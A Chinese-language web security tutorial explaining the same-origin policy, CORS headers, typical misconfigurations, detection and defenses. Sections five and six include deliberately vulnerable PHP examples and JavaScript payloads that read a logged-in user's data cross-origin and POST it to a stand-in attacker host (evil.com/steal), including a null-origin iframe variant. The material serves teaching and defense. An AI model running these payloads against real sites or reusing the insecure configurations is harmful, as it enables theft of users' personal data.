本文仅用于网络安全技术学习与授权测试交流。任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
[1.1 什么是同源策略](#1.1 什么是同源策略)
[1.2 同源策略限制的内容](#1.2 同源策略限制的内容)
[二、CORS 的作用与机制](#二、CORS 的作用与机制)
[2.1 为什么需要 CORS](#2.1 为什么需要 CORS)
[2.2 CORS 的工作流程](#2.2 CORS 的工作流程)
[2.3 简单请求与预检请求](#2.3 简单请求与预检请求)
[三、CORS 相关响应头详解](#三、CORS 相关响应头详解)
[四、CORS 漏洞的产生原因](#四、CORS 漏洞的产生原因)
[4.1 典型错误配置](#4.1 典型错误配置)
[4.2 代码示例(PHP 错误配置)](#4.2 代码示例(PHP 错误配置))
[五、CORS 漏洞的攻击实例](#五、CORS 漏洞的攻击实例)
[5.1 场景:反射 Origin + 允许凭证](#5.1 场景:反射 Origin + 允许凭证)
[5.2 场景:白名单绕过(利用子域名或后缀)](#5.2 场景:白名单绕过(利用子域名或后缀))
[5.3 场景:利用 null Origin](#5.3 场景:利用 null Origin)
[六、CORS 漏洞的检测方法](#六、CORS 漏洞的检测方法)
[6.1 手工检测](#6.1 手工检测)
[6.2 自动化检测](#6.2 自动化检测)
[6.3 注意点](#6.3 注意点)
[七、CORS 漏洞的防御措施](#七、CORS 漏洞的防御措施)
[7.1 严格配置 Access-Control-Allow-Origin](#7.1 严格配置 Access-Control-Allow-Origin)
[7.2 避免 null Origin 被利用](#7.2 避免 null Origin 被利用)
[7.3 限制 Access-Control-Allow-Methods 和 Access-Control-Allow-Headers](#7.3 限制 Access-Control-Allow-Methods 和 Access-Control-Allow-Headers)
[7.4 配置 vary: Origin](#7.4 配置 vary: Origin)
[7.5 敏感数据不依赖 Cookie 认证](#7.5 敏感数据不依赖 Cookie 认证)
[7.6 内网 API 禁用 CORS 或限制来源](#7.6 内网 API 禁用 CORS 或限制来源)
[7.7 使用 Content-Security-Policy 中的 frame-ancestors 辅助防御](#7.7 使用 Content-Security-Policy 中的 frame-ancestors 辅助防御)
[7.8 安全审计与监控](#7.8 安全审计与监控)
[八、CORS 漏洞与相关漏洞的对比](#八、CORS 漏洞与相关漏洞的对比)
[九、CORS 安全配置最佳实践清单](#九、CORS 安全配置最佳实践清单)
一、同源策略(SOP)基础
1.1 什么是同源策略
同源策略(Same-Origin Policy,SOP) 是浏览器最核心的安全机制之一,它限制了一个源的文档或脚本如何与另一个源的资源进行交互。源由三部分组成:
-
协议(Protocol):
http/https/ftp等 -
域名(Domain):
example.com/api.example.com -
端口(Port):
:80/:443/:8080
同源判定规则 :只有当协议、域名、端口三者完全一致时,才被认为是同源。
| URL A | URL B | 是否同源 | 原因 |
|---|---|---|---|
https://example.com/page |
https://example.com/api |
是 | 协议、域名、端口相同 |
http://example.com/page |
https://example.com/api |
否 | 协议不同(http vs https) |
https://example.com:443 |
https://api.example.com |
否 | 域名不同(子域名不同) |
https://example.com:8080 |
https://example.com:80 |
否 | 端口不同 |
1.2 同源策略限制的内容
-
DOM 访问 :禁止脚本读取不同源页面的 DOM(如
iframe.contentWindow)。 -
Cookie / Storage:禁止脚本读取不同源的 Cookie、LocalStorage。
-
XMLHttpRequest / Fetch:禁止向不同源发送 AJAX 请求并读取响应(除非目标服务器明确允许)。
例外 :<img>、<script>、<link>、<iframe> 等标签可以跨域加载资源,但不能读取响应内容(例如 <img> 只显示图片,无法用 JS 读取图片的二进制数据)。
二、CORS 的作用与机制
2.1 为什么需要 CORS
现代 Web 应用往往需要跨域访问 API(例如前端 https://front.com 访问后端 https://api.back.com)。CORS 提供了一种安全的方式,让服务器主动声明允许哪些源访问其资源。
2.2 CORS 的工作流程
当一个跨域请求发生时,浏览器会自动在请求中添加 Origin 头,例如:
GET /api/user HTTP/1.1 Host: api.example.com Origin: https://front.example.com
服务器返回响应时可以包含 CORS 响应头:
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://front.example.com Access-Control-Allow-Credentials: true Content-Type: application/json
浏览器检查响应头:如果 Access-Control-Allow-Origin 的值等于请求的 Origin(或为 *),则允许将响应内容返回给前端脚本;否则拒绝访问。
2.3 简单请求与预检请求
-
简单请求:满足以下条件的请求不会触发预检(OPTIONS 请求):
-
方法为
GET、POST、HEAD -
仅使用简单头:
Accept、Accept-Language、Content-Language、Content-Type(仅限application/x-www-form-urlencoded、multipart/form-data、text/plain)
-
-
非简单请求 (例如
PUT、DELETE、自定义头、application/json)会先发送一个 OPTIONS 预检请求,询问服务器是否允许实际请求。
三、CORS 相关响应头详解
| 响应头 | 作用 | 取值示例 |
|---|---|---|
Access-Control-Allow-Origin |
指定允许访问的源 | *(允许任意源,但不能与 credentials 同时使用) https://trusted.com |
Access-Control-Allow-Credentials |
是否允许携带 Cookie | true(允许)或省略(不允许) |
Access-Control-Allow-Methods |
允许的 HTTP 方法(用于预检响应) | GET, POST, PUT, DELETE |
Access-Control-Allow-Headers |
允许的自定义请求头(用于预检响应) | X-Custom-Header, Content-Type |
Access-Control-Expose-Headers |
允许前端访问的响应头 | X-Total-Count, X-Custom |
Access-Control-Max-Age |
预检结果缓存时间(秒) | 86400 |
四、CORS 漏洞的产生原因
CORS 漏洞的根本原因是服务器配置不当,导致攻击者可以绕过同源策略,窃取敏感数据或执行未授权操作。
4.1 典型错误配置
| 错误配置 | 描述 | 风险 |
|---|---|---|
| 反射任意 Origin | 服务器读取请求中的 Origin 头,直接设置为 Access-Control-Allow-Origin 的值 |
攻击者可伪造任意 Origin,读取任何跨域数据 |
Access-Control-Allow-Origin: \* 且允许凭证 |
虽然浏览器规范禁止 * 与 credentials: true 同时使用,但某些实现或配置错误可能导致依然生效 |
任何网站都可以携带 Cookie 读取数据 |
| 白名单验证不严格 | 例如检查 Origin 是否包含 example.com,攻击者可以使用 https://example.com.attacker.com 绕过 |
攻击者可构造符合规则的恶意域名 |
允许 null Origin |
某些特殊环境(如 sandboxed iframe)的 Origin 为 null,服务器如果允许 null,攻击者可利用 |
通过 sandbox iframe 发起攻击 |
| 预检响应过于宽松 | 允许所有方法、所有头,且缓存时间过长 | 攻击者可进行更多类型的跨域操作 |
| 内网 API 未加限制 | 内网服务直接返回 Access-Control-Allow-Origin: * |
攻击者可利用恶意页面探测内网 |
4.2 代码示例(PHP 错误配置)
// 错误:直接反射 Origin $origin = $_SERVER['HTTP_ORIGIN'] ?? ''; header("Access-Control-Allow-Origin: $origin"); header("Access-Control-Allow-Credentials: true"); // 错误:使用 * 且允许凭证(某些服务器会忽略浏览器限制) header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Credentials: true"); // 错误:白名单验证不严谨 if (strpos($origin, 'example.com') !== false) { header("Access-Control-Allow-Origin: $origin"); }
五、CORS 漏洞的攻击实例
5.1 场景:反射 Origin + 允许凭证
目标 :https://api.example.com/user 返回当前登录用户的个人信息(姓名、邮箱、手机号)。服务器配置:
-
读取
Origin头并反射为Access-Control-Allow-Origin -
设置
Access-Control-Allow-Credentials: true
攻击者 :拥有域名 https://evil.com
攻击步骤:
-
受害者登录
https://api.example.com,获得会话 Cookie。 -
攻击者发送钓鱼邮件,诱导受害者访问
https://evil.com/attack.html。 -
attack.html内容如下:<script> fetch('https://api.example.com/user', { credentials: 'include' }) .then(res => res.json()) .then(data => { // 将窃取的数据发送到攻击者服务器 fetch('https://evil.com/steal', { method: 'POST', body: JSON.stringify(data) }); }); </script> -
受害者浏览器执行该脚本,发起跨域请求到
https://api.example.com/user,携带 Cookie。 -
服务器收到请求,
Origin: https://evil.com,响应头:Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true -
浏览器检查通过,将响应数据(用户信息)返回给攻击者的脚本。
-
攻击者的脚本将数据发送到
https://evil.com/steal,完成数据窃取。
5.2 场景:白名单绕过(利用子域名或后缀)
假设服务器白名单检查代码:
if (preg_match('/\.example\.com$/', $origin)) { header("Access-Control-Allow-Origin: $origin"); }
攻击者可注册域名 https://evil.example.com.attacker.com 或 https://example.com.attacker.com(如果允许此类模式),或者利用 https://example.com.attacker.org(包含 example.com 但不在末尾)。
5.3 场景:利用 null Origin
服务器配置允许 Access-Control-Allow-Origin: null。攻击者利用 sandboxed iframe 发起请求,其 Origin 为 null:
<iframe sandbox="allow-scripts allow-same-origin" src="data:text/html,<script> fetch('https://api.example.com/user', {credentials: 'include'}) .then(r=>r.json()) .then(d=>fetch('https://evil.com/steal',{method:'POST',body:JSON.stringify(d)})) </script>"></iframe>
六、CORS 漏洞的检测方法
6.1 手工检测
-
查看响应头 :使用浏览器开发者工具(Network 面板)或 Burp Suite,检查目标 API 响应中是否包含
Access-Control-Allow-Origin。 -
测试 Origin 反射 :使用 Burp Repeater 修改请求中的
Origin头,观察响应头是否与请求的Origin一致。 -
测试携带凭证:在浏览器控制台中执行以下代码(需用户已登录):
fetch('https://api.example.com/sensitive-endpoint', { credentials: 'include' }).then(res => res.text()).then(console.log);如果能够输出数据,说明存在漏洞。
-
测试白名单绕过 :尝试各种变形的 Origin(如
https://example.com.attacker.com、https://attacker.com?origin=example.com、https://evil@example.com等)。
6.2 自动化检测
-
Burp Suite 扩展 :
CORS Scanner、Corsy -
命令行工具 :
corsy(Python)、CORS_Check -
扫描器:AWVS、Nessus、OpenVAS 的 CORS 检测模块
6.3 注意点
-
仅当 API 返回敏感数据 或执行敏感操作时,CORS 漏洞才有实际危害。
-
有些 API 可能只对特定路径启用 CORS,需全面探测。
七、CORS 漏洞的防御措施
7.1 严格配置 Access-Control-Allow-Origin
-
不要反射 Origin ,不要使用
*与credentials同时出现。 -
使用白名单:将允许的源明确列出,仅当请求的 Origin 在白名单内时,才返回该 Origin。
推荐做法(Python Flask 示例):
ALLOWED_ORIGINS = { 'https://trusted-front.com', 'https://admin.example.com' } origin = request.headers.get('Origin') if origin in ALLOWED_ORIGINS: response.headers['Access-Control-Allow-Origin'] = origin response.headers['Access-Control-Allow-Credentials'] = 'true'
7.2 避免 null Origin 被利用
- 不要将
null加入白名单。
7.3 限制 Access-Control-Allow-Methods 和 Access-Control-Allow-Headers
-
仅允许业务必须的方法和头,例如只允许
GET,不允许PUT/DELETE。 -
不要允许
*。
7.4 配置 vary: Origin
Vary: Origin
告诉缓存服务器(CDN、反向代理)根据 Origin 头分别缓存响应,避免将带有 CORS 头的响应返回给错误的用户。
7.5 敏感数据不依赖 Cookie 认证
-
使用
Authorization: Bearer <token>头代替 Cookie 会话,这样浏览器不会自动携带,且不受 CORS 凭证限制。 -
但需要注意前端存储 Token 时的 XSS 风险。
7.6 内网 API 禁用 CORS 或限制来源
-
内部管理接口不应该对公网开放 CORS。
-
如果必须开放,应限制为内部域名。
7.7 使用 Content-Security-Policy 中的 frame-ancestors 辅助防御
虽然不能直接防御 CORS 数据泄露,但可以防止页面被嵌入恶意 iframe。
7.8 安全审计与监控
-
定期扫描 CORS 配置。
-
对异常 Origin 请求进行监控和告警。
八、CORS 漏洞与相关漏洞的对比
| 漏洞类型 | 核心机制 | 攻击目标 | 利用方式 |
|---|---|---|---|
| CORS 配置错误 | 跨域读取资源(数据泄露) | 窃取用户信息、Token 等 | AJAX + 携带凭证 |
| CSRF | 状态变更(伪造请求) | 转账、改密码等 | 表单、图片、AJAX |
| XSS | 注入脚本执行 | 窃取 Cookie、劫持会话 | 存储/反射/DOM 注入 |
| SSRF | 服务端发起请求 | 内网探测、攻击内部服务 | 控制 URL 参数 |
注意:CORS 漏洞常常与 CSRF 结合,攻击者先通过 CORS 读取 CSRF Token,再发起 CSRF 攻击。
九、CORS 安全配置最佳实践清单
-
避免反射 Origin,使用静态白名单。
-
白名单应使用完整源(协议+域名+端口),不要使用正则模糊匹配。
-
不允许
nullOrigin。 -
Access-Control-Allow-Credentials: true必须与明确的白名单 Origin 配合,不能与\*同用。 -
限制
Access-Control-Allow-Methods为最小必要 (如GET, POST,避免PUT, DELETE)。 -
设置
Access-Control-Max-Age为合理值 (如86400),但不宜过长。 -
添加
Vary: Origin响应头。 -
非必要不对内网 API 开启 CORS。
-
定期审计(使用自动化工具)。
十、总结
CORS 是突破浏览器同源策略的合法机制,但错误的配置会使其变成严重的安全漏洞。攻击者利用反射 Origin、宽松白名单、允许携带凭证等配置缺陷,可以跨域窃取用户敏感数据。防御的核心是严格白名单 + 最小权限 + 动态验证。开发者应把 CORS 配置视为安全策略的一部分,而非简单的功能开关。